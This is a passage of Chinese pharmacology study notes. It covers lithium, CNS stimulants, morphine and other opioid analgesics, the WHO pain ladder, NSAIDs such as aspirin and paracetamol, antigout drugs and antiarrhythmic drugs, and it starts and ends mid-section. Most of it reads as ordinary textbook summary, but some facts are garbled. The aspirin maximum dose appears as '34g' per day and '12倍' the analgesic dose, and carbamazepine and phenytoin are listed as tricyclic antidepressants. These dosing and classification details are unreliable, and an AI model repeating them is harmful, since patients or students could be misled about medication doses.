  • 任何其它抗抑郁药不能与它联用
    • 否则，易易产生 5-羟色胺综合征（兴奋性神经递质过多）
  • MAOI 停药 14 天后才能换用其它抗抑郁药物
    • 氟西汀需停药 5 周才能换 MAOIs

三、抗躁狂症药：碳酸锂

作用机制（使突触间隙 NA 下降）

  • 抑制：脑内 NA 和 DA 释放
  • 增加：对 NA 和 DA 再摄取

药理作用和临床应用

  • 主要用于治疗躁狂症
    • 躁狂抑郁性精神病，躁狂状态；
    • 躁狂抑郁性精神病，躁狂抑郁交替发作；
    • 精神分裂症的兴奋躁动。
  • 锂盐对抑郁症也有一定疗效，有有情绪稳定药之称

不良反应

  • 锂盐安全范围窄，毒性大
  • 用药初期
    • 有恶心、呕吐、腹泻、疲乏、肌肉无力，肢体震颤、口干、多尿。
  • 锂盐中毒
    • 主要表现为意识障碍、昏迷、肌张力增高、深反射亢进、共济失调、震颤等。
  • 当血锂浓度高达 1.6mmol/L 时应立即减量或停药。
  • 尚可引起甲状腺功能低下或甲状腺肿，停药后可恢复。

第十九章：中枢兴奋药

一、概述

  • 中枢兴奋药是一类兴奋中枢神经系统并提高其功能活动的药物。
  • 剂量越大，兴奋中枢作用越强。

二、主要兴奋大脑皮质的药—咖啡因

一）机制

  • 咖啡因抑制磷酸二酯酶，升高细胞内 cAMP，从而产生中枢兴奋作用。

二）作用

中枢作用

  • 小剂量：咖啡因对大脑皮质有选择性兴奋作用，振奋精神，思维敏捷，减轻疲劳感，消除睡意，提高工作效率。
  • 较大剂量：直接兴奋延脑呼吸中枢和血管运动中枢，使呼吸加深加快，血压升高。
  • 中毒剂量：则兴奋脊髓，引起惊厥。

心肌和平滑肌作用

  • 直接增强心肌收缩力，加快心率，增加心排出量。
  • 直接松弛外周血管平滑肌，扩张血管，降低外周阻力。
  • 增加冠脉血流量。
  • 舒张支气管平滑肌和胆道平滑肌，但作用较弱。
  • 但是，可收缩脑血管，临床用于缓解偏头痛。

其他

  • 利尿作用；
  • 刺激胃酸和胃蛋白酶分泌的作用。

三）临床应用

  • 主要用于解除中枢抑制状态，如：严重传染病或中枢抑制药中毒引起的昏睡、呼吸和循环抑制。
  • 与麦角胺配伍制成麦角胺咖啡因片，治疗偏头痛。
  • 与解热镇痛抗炎药配伍药制成复方制剂，治疗一般性头痛、感冒。

四）不良反应

  • 少见且较轻。
  • 过量可见激动、躁动不安、失眠、呼吸加快、心动过速、肌肉抽搐和惊厥等。
  • 婴儿高热、消化性溃疡者慎用。

五）同类药物

  • 哌甲酯
  • 匹莫林
  • 安钠咖

三、主要兴奋延髓呼吸中枢的药物

一）药物

  • 尼可刹米
  • 二甲弗林
  • 洛贝林

二）机制

三）药物详情

尼可刹米

药理作用
  • 作用温和，安全范围大。
临床应用
  • 临床主要用于各种原因所致呼吸衰竭。
  • 对肺心病所致的呼吸衰竭和吗啡中毒引起的呼吸抑制疗效较好。对巴比妥类效果较差。
不良反应
  • 过量可引起血压上升、心动过速、咳嗽、呕吐、出汗、肌肉震颤和僵直等。

二甲弗林（回苏灵）

药理作用
  • 直接兴奋呼吸中枢，作用比尼可刹米强 100 倍。
  • 安全范围小，过量易引起肌肉震颤和惊厥。
临床应用
  • 适用于各种原因引起的中枢性呼吸抑制；
  • 对肺性脑病有较好的促苏醒作用；
  • 但吗啡中毒者慎用，因中毒量吗啡亦可兴奋脊髓诱发惊厥；
  • 孕妇禁用。

洛贝林（山梗菜碱）

药理作用
  • 作用持续时间短（数分钟）、安全范围大，很少引起惊厥。
临床应用
  • 临床用于新生儿室息（首选）、小儿感染疾病引起的呼吸衰竭、CO 中毒等。
不良反应
  • 大剂量：兴奋迷走中枢，引起心动过缓、传导阻滞；
  • 过大剂量：则可兴奋交感神经节，导致心动过速。

四、促脑功能恢复药

一）吡拉西坦（脑复康）

同类药物

  • 茴拉西坦
  • 阿尼西坦
  • 奥拉西坦

药理作用

  • 降低脑血管阻力，增加脑血流量；
  • 直接作用于大脑皮质，促进脑组织对葡萄糖、氨基酸和磷脂的利用，促进蛋白质合成；
  • 提高大脑中 ATP/ADP 比值。
  • 对大脑缺氧有保护作用，并促进大脑信息传递，改善记忆功能。

临床应用

  • 老年精神衰退综合征、阿尔茨海默病、脑动脉硬化症、脑血管意外等原因引起的思维与记忆功能减退。
  • 儿童智力低下者。
  • 对巴比妥、氰化物、CO、乙醇等中毒后的意识恢复有一定疗效。

二）甲氯芬酯（氯醒酯，遗尿丁）

药理作用

  • 作用于大脑皮质，促进脑细胞氧化还原代谢，增加对糖的利用，提高神经细胞的兴奋性。
  • 对中枢抑制状态患者的中枢兴奋作用更明显。

临床应用

  • 用于外伤性昏迷、阿尔茨海默病、中毒或脑动脉硬化引起的意识障碍、小儿遗尿症等。

三）胞磷胆碱

作用

  • 作为辅酶参与并促进脑组织代谢，兴奋网状结构上行激动系统。
  • 增加脑组织血流量，对大脑功能恢复和促进苏醒有一定作用。

应用

  • 主要用于急性颅脑外伤和脑手术后的意识障碍。
  • 脑内出血的急性期不宜应用。

第二十章：镇痛药

一、概述

  • 镇痛药是一类主要作用于中枢神经系统，选择性减轻或消除疼痛以及疼痛引起的精神紧张和烦躁不安等情绪反应，但不影响意识及其他感觉的药物。
  • 因多数药物反复应用可成瘾，又称麻醉性镇痛药或成瘾性镇痛药。
  • 来源分类
    • 阿片生物碱类镇痛药：如吗啡和可待因等；
    • 人工合成镇痛药：如哌替啶、曲马多和芬太尼等；
    • 其他镇痛药：如罗通定、奈福泮等。

二、阿片类镇痛药

一）概述

  • 阿片是罂粟果浆汁的干燥物，含 20 多种生物碱，分为：
    • 菲类（吗啡、可待因等）
    • 异喹啉类（罂粟碱等）

二）吗啡

药动学

  1. 吸收：口服易吸收，但首关效应显著，生物利用度低，故常注射给药。
  2. 分布：1/3 与血浆蛋白结合，游离型吗啡迅速分布于全身组织，极少量通过血-脑脊液屏障进入中枢发挥作用。
  3. 代谢：60%~70% 在肝中与葡萄糖醛酸结合，10% 脱甲基生成去甲吗啡。
  4. 排泄
    • 代谢物及原形主要经肾排泄；
    • 少量经胆汁排泄和乳汁排泄；
    • t1/2 约 2.5~3h；
    • 也可通过胎盘进入胎儿体内，临产前给予吗啡可抑制新生儿的呼吸。
    • 故：“临产前”及“哺乳期”妇女禁用吗啡

镇痛机制

  • 吗啡+阿片受体
  • 阿片受体的类型
    • μ（产生成瘾性）
    • κ
    • δ
    • σ

药理作用

  1. 中枢作用
    • 镇痛、镇静、致欣快（治疗作用）
    • 抑制呼吸**（“麻肺”）**
    • 镇咳
    • 缩瞳
    • 催吐
  2. 外周作用
    • 心血管：血管扩张（对心脏好）
    • 平滑肌：兴奋（痉挛）
镇痛、镇静、致欣快
  • 作用强，选择性高，意识清楚
  • 慢性钝痛>急性锐痛
  • 痛而不苦：镇静和致欣快作用可消除疼痛引引起的焦虑、紧张、恐惧，提高对疼痛的耐受力
抑制呼吸
  • 机制：降低呼吸中枢对 CO2 的敏感性，并直接抑制呼吸中枢
  • 特点
    • 治疗量：呼吸频率减慢
    • 急性中毒：呼吸频率 3-4 次/分，应给予中枢兴奋药解救
    • 呼吸抑制是吗啡急性中毒的主要致死原因。
镇咳
  • 机制：抑制延髓咳嗽中枢，使咳嗽反射消失。
  • 特点
    • 镇咳作用强，但易成瘾
    • 临床常用可待因代替
缩瞳
  • 机制：作用于中脑盖前核阿片受体，兴奋动眼神经缩瞳核，引起瞳孔缩小。
  • 特点：针尖样瞳孔常作为诊断吗啡过量中毒的重要依据之一
  • 针尖样瞳孔：
    • 有机磷中毒
    • 吗啡中毒
催吐
  • 机制：兴奋延髓催吐化学感受区（CTZ），引起恶心和呕吐
  • 特点：连续用药可消失
  • 中枢性催吐药：阿扑吗啡（去水吗啡）用于急性口服中毒不能洗胃时
平滑肌：兴奋（痉挛）
消化系统（平滑肌张力升高）
  • 便秘
    • 胃窦张力增加，胃排空速度减慢；
    • 小肠、结肠张力增加，推进性蠕动减慢或消失；
    • 中枢抑制，便意迟钝；
  • 兴奋胆道 Oddi 括约肌
    • 胆道和胆囊内压增加，可诱发胆绞痛（胆痉挛）
    • 胆绞痛需合用解疼药，如 654-2
其它
  • 治疗量吗啡增强子宫平滑肌张力：延长产程，影响分娩
  • 增强膀胱括约肌张力：导致尿潴留
  • 对支气管哮喘患者，治疗量吗啡可诱发哮喘：禁用
  • 吸鸦片的人：不吃不喝不拉不尿不喘气
心血管：血管扩张
  • 全身血管扩张：直立性低血压
  • 脑血管扩张：颅内压增高
    • 颅外伤和颅内占位性病变（脑肿瘤）者禁用
  • 扩血管机制
    • 扩张血管外周阻力下降
    • 抑制交感
    • 促进组胺释放

临床应用

镇痛
  • 严重创伤、烧伤、晚期癌痛；
  • 胆绞痛和肾绞痛：需合用 M 受体阻断药；
  • 肌梗死时心前区剧痛
    • 镇静（消除紧张情绪）
    • 扩血管（降低心脏负担）
心源性哮喘
  • 抑制呼吸中枢，缓解短促的呼吸；
  • 扩张外周血管，降低外周阻力，减轻心脏负荷；
  • 镇静作用，消除患者紧张、恐惧不安的情绪。
止泻
  • 阿片酊或复方樟脑酊
记忆
  • 吗啡：麻肺
  • 各种肺病：禁用吗啡（肺心病、支气管哮喘）
  • 各种心脏病：可用吗啡（心源性哮喘、心肌梗死）

不良反应

治疗量时
  • 恶心、呕吐、呼吸抑制、嗜睡、眩晕、便秘、排尿困难、胆绞痛、直立性低血压和免疫抑制等；
急性中毒
表现
  • 昏迷、针尖样瞳孔、呼吸抑制、血压下降、紫绀、少尿、体温下降，甚至呼吸麻痹；
抢救
  • 人工呼吸，给氧
  • 特效解救药：纳洛酮（阿片受体拮抗剂）
成瘾性
  • 一般连续用药不得超过 1 周。
  • 躯体依赖性：停药后出现戒断症状
  • 精神依赖性：有明显强迫性觅药行为
耐受性
  • 药物连续应用后，机体对药物反应强度递减。
成瘾性的治疗
  • 一般处理：逐渐停药，用量递减
  • 戒毒药物：美沙酮或二氢埃托啡
  • 原理
    • “小毒替大毒”
    • 单独或联合治疗，6～7 天可基本脱瘾
    • 联合应用，治疗期间情绪稳定，不出现戒断症状，且不易出现美沙酮或二氢埃托啡的依赖性。

禁忌症

  • 分娩止痛和哺乳妇女止痛
  • 支气管哮喘、肺心病患者
  • 颅脑损伤致颅内压增高患者
  • 肝功能严重减退及新生儿和婴儿
  • 分娩哺乳哮喘肺，颅脑损伤新生儿

记忆口诀

  • 强力镇痛有吗啡，反复应用易成瘾
  • 镇痛镇静抑呼吸，扩张血管低血压
  • 烧伤创伤癌疼痛，急性左衰肺水肿
  • 胆肾绞痛加解痉，心肌梗死缓剧痛
  • 急性腹泻阿片配，人工合成哌替啶
  • 镇痛随弱成瘾轻，甲基吗啡可待因
  • 中等疼痛剧干咳，效力不及弱吗啡
  • 吗啡中毒纳洛酮，喷他左辛见产科
  • 禁忌：分娩哺乳支哮喘，颅脑损伤新生儿

三、人工合成镇痛药

一）哌替啶（杜冷丁）

药理作用

概述
  • 作用性质与吗啡相似；
  • 但有显著的 M 受体阻断作用，导致口干和心悸；
  • 特有：其代谢产物去甲哌替啶具有中枢兴奋作用，可产生幻觉甚至惊厥。
中枢神经系统

  • 镇痛：镇痛效力约为吗啡的 1/10~1/7。

    • 镇静、欣快感较吗啡弱。
    • 成瘾较慢，戒断症状持续时间较短；

  • 抑制呼吸：较弱。

  • 无明显镇咳、缩瞳作用；

  • 兴奋延脑催吐化学感受区：恶心呕吐

平滑肌

  • 胃肠道平滑肌：作用短暂，不引起便秘，亦无止泻作用。

  • 引起胆道括约肌疼挛：但比吗啡弱。

  • 对支气管平滑肌：治疗量无影响，大剂量可引起支气管平滑肌收缩。

  • 对妊娠末期子宫：不对抗催产素的作用，故不延缓产程，可用于分娩镇痛。

心血管系统
  • 同吗啡

临床应用

镇痛
  • 常作为吗啡的代用品用于各种剧痛；
  • 适用于分娩镇痛，但临产前 2～4 小时内不宜使用；
心源性哮喘
  • 同吗啡
麻醉前给药
  • 镇静，消除术前紧张，减少麻醉药用量；
人工冬眠
  • 与氯丙嗪、异丙嗪合用冬眠合剂；

不良反应

  • 用量过大：可抑制呼吸，偶尔出现震颤、肌内挛缩、反射亢进甚至惊厥等中枢兴奋症状
    • 故：对出现中枢兴奋症状的中毒患者，除应用纳洛酮外，还应配合使用抗惊蕨药药物
  • 应用单胺氧化酶抑制药（MAOI，吗氯钡胺等）的患者，同时使用本药可干扰去甲哌替啶的代谢而使之蓄积，导致中枢兴奋、高热、惊厥；
    • 故：禁止与单胺氧化酶抑制剂合用。

二）美沙酮

作用特点

  • 口服生物利用度 92%

  • 药理作用性质和强度：与吗啡相同

  • 作用持续时间：明显长于吗啡

  • 耐受性和成瘾性：发生慢，戒断症状轻

临床应用

  • 广泛用于吗啡或海洛因成瘾者的脱毒治疗

  • 剧烈疼痛

三）芬太尼

  • 镇痛作用是吗啡的 80 倍，15min 起效，维持 2h

  • 对呼吸抑制作用轻，成瘾性较弱

  • 与氟哌利多合用产生“神经松弛镇痛”效果，适用于某些小手术或医疗检查，也可用于各种剧痛

  • 不良反应与哌替啶相似

  • 支气管哮喘、脑肿瘤、颅脑损伤、昏迷者、2 岁以下幼儿禁用

四）喷他佐辛（镇痛新）

  • 几乎无成瘾性，用于各种慢性疼痛和术后镇痛

  • 镇痛的效价强度为吗啡的 1/3，呼吸抑制的效价强度为吗啡的 1/2

  • 镇静作用弱，较高剂量时甚至出现噩梦、幻觉、烦躁不安等症状。

  • 大剂量可使心率增快，血压升高

四、镇痛药应用的基本原则

选择适当的药物和剂量

  • 应按 WHO 三阶梯治疗方案的原则使用镇痛药

    • 轻度疼痛：非甾体类抗炎药（阿司匹林等）
    • 中度疼痛：弱阿片类药物（可待因等）+非甾
    • 重度疼痛：强阿片类药物（吗啡等）+非甾

  • 第一阶梯：非阿片类药物

    • 多指 NSAIDs 药物，对轻度疼痛疗效肯定，并可以增强二、三阶药物的效果有封顶效应

  • 第二阶梯：弱阿片类药物

    • 如可待因、二氢可待因、曲马多等。

  • 第三阶梯：强阿片类药物

    • 主要药物有吗啡（有多种剂型，如注射剂，即释片、缓释片）
    • 芬太尼注射剂或透皮贴剂
    • 美沙酮
    • 哌替啶
    • 二氢埃托啡
    • 羟考酮

选择给药途径

  • 无创给药为首选途径
  • 以下优先级逐渐降低
    • 口服、透皮贴剂
    • 舌下含化或经直肠给药
    • 肌内或静脉注射给药
    • 椎管内给药或复合局部阻滞疗法

制定适当的给药时间

  • 原则：定时给药

    • 注意，不是按需给药

  • 如吗啡的各种盐酸或硫酸控释片：口服后的镇痛作用可在用药后 1 小时出现，2～3 小时达高峰，持续作用 12 小时；

  • 静脉用吗啡：在 5 分钟内起效，持续 1～2 小时；

  • 芬太尼透皮贴剂的镇痛作用：在 6～12 小时起效，持续 72 小时，每 3 天给药 1 次。

调整药物剂量

  • 个体化给药：阿片类药无理想标准用药剂量，能使疼痛得到缓解的剂量即是正确的剂量。

  • 增加药物剂量：一般为原用剂量的 25%～50%，最多不超过 100%；

  • 下调药物剂量：一般每天减少 25%～50%，原则是保证镇痛效果；

  • 出现不良反应而需调整药物剂量时：先停药 1～2 次，再将剂量减少 50%～70%，然后加用其他种类的镇痛药，逐渐停用有反应的药物。

镇痛药物的不良反应及处理

  • 兵来将挡，水来土掩

  • 便秘：可以加强通便药物，严重时灌肠治疗

  • 恶心、呕吐：可选用镇吐药，如氟哌啶醇、昂丹司琼

  • 有痉挛和疼痛时：可以使用东莨菪碱

  • 呼吸抑制等严重不良反应：应及时发现，及时进行生命支持，同时纳洛酮进行治疗。

辅助用药

  • 根据疼痛性质选择

  • 非甾体类消炎药：对软组织浸润、关节筋膜炎及术后痛有明显的辅助治疗作用；

  • 山莨菪碱、东莨菪碱：对痉挛性疼痛作用显著；

  • 三环类抗抑郁药：是治疗神经痛较理想的药物（卡马西平，苯妥英钠）；

  • 糖皮质激素：对急性神经压迫、内脏膨胀痛、颅内压增高等均有较好的缓解作用；

  • 降钙素：对骨转移引起的疼痛有效。

第二十一章：解热镇痛抗炎药

一、概述

一）共同作用机制

  • 解热镇痛抗炎药，也称非甾体抗炎药

  • 抑制前列腺素合成所必需的环氧酶每（COX），干扰前列腺素合成。

    • COX 有两种同工酶，即 COX-1 和 COX-2
    • 抑制 COX-1（不良反应）
      • 导致胃黏膜损害
      • 损害肾脏
    • 抑制 COX-2（治疗作用）
      • 解热、镇痛和抗炎

二）分类

  • 非选择性环氧酶抑制药：对 COX-1 和 COX-2 均有抑制作用
  • 选择性环氧酶抑制药：选择性抑制 COX-2，而对 COX-1 的抑制作用弱
    • 特点：胃肠道不良反应减轻。
    • 代表药：尼美舒利、塞来昔布、美洛昔康、罗非昔布等。

三）共同药理作用

解热作用

  • 机制：抑制中枢 COX，使 PG（致热原）合成减少；
  • 特点：NSAIDs 只能降低发热者的体温，但不能降至正常体温以下，而且不影响正常人的体温。

镇痛作用

  • 机制：抑制外周病变部位的 COX
  • 特点
    • 对慢性钝痛有效，对急性锐痛、严重创伤的剧痛、平滑肌绞痛无效。
    • 无成瘾性。

抗炎作用

  • 机制：抑制炎症局部的 COX
  • 特点：对抗炎症早期的的红肿热痛，不能防止炎症发展和后遗症

二、阿司匹林（乙酰水杨酸）

一）药动学

吸收

  • 口服后易从胃和小肠上部吸收。
  • 吸收后，可被胃肠黏膜、血浆、红细胞和肝脏的酯酶迅速水解，产生水杨酸
    • 故阿司匹林的 t1/2 仅有 15min 左右。
  • 水杨酸以盐的形式存在，具有药理活性。

分布

  • 水杨酸与血浆蛋白结合率为 80%~90%；

  • 游离型可分布于全身组织，也能进入关节腔、脑脊液、乳汁和胎盘。

  • 阿依水、抢蛋白

    • 格列类、华法林
    • 被抢劫、被游离
    • 易过量、易中毒
    • 低血糖、低凝血

代谢

  • 主要经肝药酶代谢。

排泄

  • 约 25% 以原形由肾脏排泄，其余与甘氨酸和葡萄糖醛酸结合后随尿液排出

  • 碱化尿液，可加速排泄。

二）药理作用

解热镇痛作用（中剂量）

  • 较强。
  • 适用于：感冒发热、肌肉痛、关节痛、痛经、神经痛和癌症患者的轻、中度疼痛等。

抗炎抗风湿作用（大剂量）

  • 作用较强，但用量要比解热镇痛剂量大 12 倍，最好用至最大耐受量（口服每日 34g）

  • 急性风湿热患者服用后 24~48h 内退热，缓解关节红肿及剧痛，血沉减慢

    • 因控制急性风湿热疗效确切，故用于该病鉴别诊断。

  • 治疗类风湿关节炎：只是对症，可使关节炎症消退，疼痛减轻。

抑制血栓形成（小剂量）

  • 注意：小剂量（100mg/日）

  • 机制：抑制血小板中的 COX-1，减少 TXA2（血栓素 A2）的生成。

  • 应用：心血管恶性事件的一级预防，可降低心梗、脑梗发生率。

三）不良反应

概述

  • 乙酰水杨酸，抑制 COX(PGE)

  • 解热又镇痛，抗炎抗风湿

  • 抑制血小板，防治血栓塞

  • 不良反应多，为您扬名易。

    • “为”：胃肠反应
    • “您”：凝血障碍
    • “扬”：水杨酸反应
    • “名”：过敏反应
    • “易”：瑞夷综合征

胃肠道反应

  • 原因
    • 直接刺激胃黏膜
    • 抑制 COX-1，抑制胃黏膜 PGs 合成。
  • 表现
    • 上腹部不适，恶心、呕吐及畏食常见。
    • 可损伤胃黏膜，呈无痛性出血，甚至诱发或加重溃疡和出血

凝血障碍

  • 原因

    • 一般剂量抑制血小板
    • 长期或大剂量还可抑制凝血酶原合成

  • 表现：易引起出血，如牙龈出血等。

  • 处理

    • 维生素 K 可以预防
    • 肝功能不全、凝血酶原合成功能低下者慎用
    • 手术前 1 周停用

过敏反应

  • 出现荨麻疹、血管神经性水肿甚至过敏性休克。
  • 阿司匹林哮喘：哮喘患者服用本品可诱发哮喘，称为“阿司匹林性哮喘”

水杨酸反应

  • 原因：剂量过大（5g/d）导致

  • 中毒反应：头痛、眩晕、恶心、呕吐、耳鸣、听力减退等

  • 处理：停药；碱化尿液，加速排出

瑞夷综合征

  • 表现：病毒感染伴发热的儿童或青年应用阿司匹林后出现严重肝功能损害合并脑病，严重者可致死

  • 注意：10 岁左右儿童，患流感或水痘者忌用本品

  • WHO 推荐首选：对乙酰氨基酚

四）禁忌症

  • 胃溃疡

  • 严重肝损害

  • 低凝血酶原血症、维生素 K 缺乏症、血友病

  • 过敏性疾病：哮喘、鼻息肉、慢性荨麻疹

三、对乙酰氨基酚（扑热息痛）

一）作用特点

  • 解热作用和镇痛作用与阿司匹林相似

  • 不具有

    • 抗炎抗风湿作用
    • 对血小板和凝血时间的影响

二）应用

  • 临床用于感冒发热、关节痛、头痛、神经痛和肌肉痛等。

  • 阿司匹林过敏、消化性溃疡病、阿司匹林诱发哮喘的患者可选用对乙酰氨基酚代替阿司匹林。

  • WHO 推荐儿童因病毒感染引起发热、头痛需使用 NSAIDs 时，应首选对乙酰氨基酚；

  • 本药不能单独用于抗炎或抗风湿治疗。

三）不良反应

  • 治疗量、疗程短时：很少产生不良反应。

  • 长期大剂量服用：可造成肾毒性，如慢性肾炎和肾乳头坏死。

  • 过量中毒：可造成肝坏死；

  • 对于中毒的患者：及时使用蛋氨酸（甲硫氨酸）或乙酰半胱氨酸可防止肝损伤。

四、吲哚美辛（消炎痛）

一）作用特点

  • 是最强的 PG 合成酶抑制剂之一

  • 其抗炎、镇痛作用强于阿司匹林，对急性风湿性及类风湿性关节炎的治疗效果与保泰松相似。

  • 除抑制 COX 外，可能也抑制磷脂酶 A 和磷脂酶 C，以及抑制 T 淋巴细胞和 B 淋巴细胞的增殖。

二）应用

  • 主要用于其他药物不能耐受或治疗不显著的急性风湿性及类风湿性关节炎。

  • 对骨关节炎、强直性脊柱炎、滑囊炎、腱鞘炎、关节囊炎有效；

  • 癌性发热及其他不易控制的发热有效。

三）不良反应

  • 多而重，发生率 35%-50%，20% 患者需停药。

五、布洛芬

  • 解热、镇痛和抗炎作用强。

  • 主要用于风湿及类风湿关节炎，也可用于一般解热镇痛，疗效与阿司匹林相似。

  • 严重不良反应发生率明显低于阿司匹林、吲哚美辛等其多数 NSAIDs。

  • 少数患者出现过敏、血小板减少和视力模糊

    • 一旦出现视力障碍应立即停药

六、酸类

  • 双氯芬酸（双氯灭痛、扶他林），甲芬那酸（甲灭酸），氯芬那酸（氯灭酸）
  • 作用特点：效弱毒强
  • 应用：外用一治疗各种软组织风湿性疼痛，如肩痛、腱鞘炎、滑囊炎、肌痛及运动后损伤性疼痛等；

七、美洛昔康、塞来昔布

  • 作用特点：对 COX-2 有选择性，胃损伤轻。

  • 用于治疗：风湿类风湿性关节炎、骨关节炎。

第二十二章：抗痛风药

一、概述

一）疾病概述

  • 痛风是体内嘌呤代谢紊乱引起的一种疾病，主要表现为高尿酸血症。
  • 尿酸盐在关节、结缔组织和肾脏沉积。
  • 痛风急性发作主要表现为关节炎。

二）痛风急性发作期

  • 止疼、抗炎、不降酸
  • 禁用阿司匹林
  • 首选：秋水仙碱
  • 止疼：对乙酰氨基酚、吲哚美辛、布洛芬等 NSAIDS3
  • 糖皮质激素：用于上述药物治疗无效或不能使用时，可短程使用糖皮质激素。

三）发作间歇期、慢性痛风、痛风性肾病

  • 降低血尿酸
  • 促进尿酸排泄
    • 苯溴马隆
    • 丙磺舒
  • 抑制尿酸生成
    • 别嘌醇
    • 非布索坦

二、秋水仙碱

  • 仅对症止疼
  • 对急性痛风性关节炎有选择性消炎作用，用药后数小时关节红、肿、热、痛即行消退。
  • 对血中尿酸浓度及尿酸的排泄没有影响，对慢性痛风、一般性疼痛及其他类型关节炎无效。
  • 不良反应多而重，不宜长期使用
    • 胃肠道反应是严重中毒的前驱症状，一旦出现应立即停药
    • 中毒时出现水样腹泻及血便、脱水、休克
    • 可引起肾衰竭和骨髓抑制

三、别嘌醇

  • 能抑制尿酸合成的药物

  • 使尿酸生成减少，避免尿酸盐结晶的沉积，用于原发性或继发性痛风。

  • 禁用于痛风急性发作期

四、丙磺舒

  • 竞争性抑制肾小管对尿酸的重吸收，增加尿酸排泄

  • 用于治疗慢性痛风

  • 禁用于痛风急性发作期

  • 痛风治疗初期，由于尿酸盐自关节转运入血，可使痛风加重，应增加饮水并碱化尿液促进尿酸排泄

  • 也可竞争性抑制青霉素和头孢菌素在肾小管的分泌，提高这些抗生素的血药浓度，产生协同抗菌作用

第二十三章：抗心律失常药

一、概述

  • 心律失常：心跳节律和频率的异常。

  • 缓慢型：窦性心动过缓、传导阻滞

    • 治疗用：异丙肾上腺素、阿托品

  • 快速型

    • 房性：心房纤颤、心房扑动、阵发性室上性心动过速
    • 室性：室性早搏、室性心动过速、心室颤动

二、抗心律失常药的作用机制和分类

一）作用机制

  • 降：降低自律性

  • 减：减少迟后除极

  • 改：改变传导

  • 延：延长不应期

二）药物分类

  • I 类：钠通道阻滞药

    • I A 类：适度阻滞钠通道，如：奎尼丁，普鲁卡因胺
    • I B 类：轻度阻滞钠通道，如：利多卡因，苯妥英钠
    • I C 类：明显阻滞钠通道，如：普罗帕酮，氟卡尼

  • II 类：β 肾上腺素受体阻断药：普萘洛尔等

  • III 类：延长动作电位时程药：胺碘酮

  • IV 类：钙通道阻滞药：维拉帕米等

三、临床常用抗心律失常药（首选药）

  • 窦速：首选普萘洛尔

  • 室上速：维拉帕米

  • 室性：利多卡因

  • 强心苷中毒引起的室性：苯妥英钠

  • 房颤房扑：地高辛（可用维拉帕米，但不是首选）

  • 广谱：胺碘酮、普罗帕酮

四、I 类：钠通道阻滞药

一）药物概述

  • 奎尼丁

  • 普鲁卡因胺

  • 利多卡因

  • 苯妥英钠

  • 普罗帕酮（心律平）

二）奎尼丁（奎宁的右旋异构体）

作用机制

  • I A 类：适度阻滞 Na+ 内流 -> 发挥抗心律失常作用；

  • 抑制心肌细胞膜 Ca2+  通道：负性肌力；

  • 阻断 M 受体和阻断血管 α 受体作用：一堆不良反应

药理作用

  • 奎尼丁为全心抑制剂
  • 降低自律性
  • 减慢传导性
  • 消除返折
  • 降低收缩力

临床应用

  • 广谱抗心律失常药：对房性、房室性和室性快速型心律失常都有效。
  • 临床主要用于房颤、房扑及室上性心动过速的治疗。
  • 心房纤颤及心房扑动，目前虽多采用电转律术，但奎尼丁仍有应用价值：转律前合用强心苷和奎尼丁可以减慢心室频率，转律后用奎尼丁维持窦性节律。

不良反应（全心抑制）

  • 不良反应多，毒性大，安全范围小。
消化道反应
  • 最常见：恶心、呕吐、腹泻等
心血管反应

  • 最严重

  • 心脏毒性：心脏的抑制，可心动过缓甚至停搏。

  • 低血压：扩张血管，抑制心肌收缩力。

  • 血管栓塞：用奎尼丁治疗房颤后，可能使心房血栓脱落引起脑及其他重要器官血管栓塞。

金鸡纳反应
  • 特异
  • 久用可引起耳鸣、听力减退、视力模糊、神志不清等。
奎尼丁晕厥
  • 特异
  • 发作时意识丧失、四肢抽搐、呼吸停止、心室纤颤而死亡称为“奎尼丁晕厥”。
变态反应
  • 偶可出现皮疹、药热、血小板减少等过敏症状。

三）普鲁卡因胺

药理作用

  • 与奎尼丁相似但较弱，
  • 与奎尼丁的不同点
    • 抗担碱作用较弱；
    • 不阻断 α 受体；
    • 抑制心肌收缩作用较弱。

临床应用

  • 主要用于室性心律失常，包括室性期前收缩、室性心动过速

  • 静脉注射可用于抢救危急病例

  • 长期应用，较严重不良反应是红斑狼疮综合征

四）利多卡因（IB 类）

药动学特点

  • 首过消除明显，故静脉给药

  • 因作用维持时间短，静滴维持药效

  • 约 70% 与血浆蛋白结合，体内分布广泛，几乎全部在肝中代谢，t1/2 为 2 小时。

药理作用与机制

  • 选择性作用于浦肯野纤维
    • 只对室性心律失常有效，对心房无影响
  • 缩短 APD，相对延长 ERP
  • 改变变病变区传导速度，消除反折
    • 利多卡因对除极化组织（如缺血区、强心苷中毒）作用强

临床应用

  • 利多卡因首选用于 室性 心律失常
    • 对各种原因引起的室性期前收缩、阵发性室性心动过速及心室颤动等均有效
  • 急性心肌梗死引引起的室性心律失常为 首选药

不良反应与注意事项

  • 毒性较小

  • 剂量过大可导致中枢神经系统症状和心脏毒性

  • 眼震颤是利多卡因中毒的早期信号

五）苯妥英钠（IB 类）

药理作用和临床应用

  • 苯妥英钠对心肌电生理作用与利多卡因相似：也仅影响希-浦系统（心室）

  • 主要用于治疗室性心律失常，特别对强心苷中毒引起的室性心律失常 首选

不良反应

  • 快速静注可引起低血压，高浓度可引起心动过缓

  • II，III 度房室传导阻滞及窦性心动过缓者禁用

  • 中枢不良反应有头昏、眩晕、震颤、共济失调等

  • 孕妇用药可致畸胎

六）普罗帕酮（心律平，IC 类）

药理作用与机制

  • 明显抑制 Na+ 内流
    • 减慢心房、心室和浦肯野纤维传导。
    • 降低浦肯野纤维自律性
    • 延长 ERP
  • 大剂量
    • β-阻断作用（抑制心脏）
    • 钙通道阻滞作用（抑制心脏）

临床应用

  • 广谱，可用于室上性及室性心律失常

  • 因其有 致 心律失常作用，仅限用于其他抗心律失常药疗效不佳或危及生命者

不良反应

  • 心脏抑制：房室传导阻滞，直立性低血压，诱发心衰，心律失常

  • 注意：不宜与其它有心脏抑制作用的抗心律失常药合用，以免加重心脏抑制

  • 如：奎尼丁、普萘洛尔、胺碘酮、维拉帕米等

五、II 类：β肾上腺素受体阻断药

一）常用药物

  • 普萘洛尔

  • 醋丁洛尔

  • 阿替洛尔

  • 美托洛尔

  • 艾司洛尔

二）普萘洛尔（心得安）

机制

  • 阻断 β1 受体

作用

  • 降低自律性
  • 减慢传导速度
  • 延长或相对延长 ERP

临床应用

  • 主要用于：室上性心律失常。
  • 交感神经兴奋性增高、甲状腺功能亢进及嗜铬细胞瘤等引起的窦性心动过速： 首选

六、III 类：延长动作电位时程药

一）胺碘酮（全能）

机制与作用（相当复杂）

  • 阻断多种离子通道直（钾、钠、钙通道）

  • 阻断多种受体（α，β受体）

  • 降低自律性、减慢传导、显显著延长 ERP

临床应用

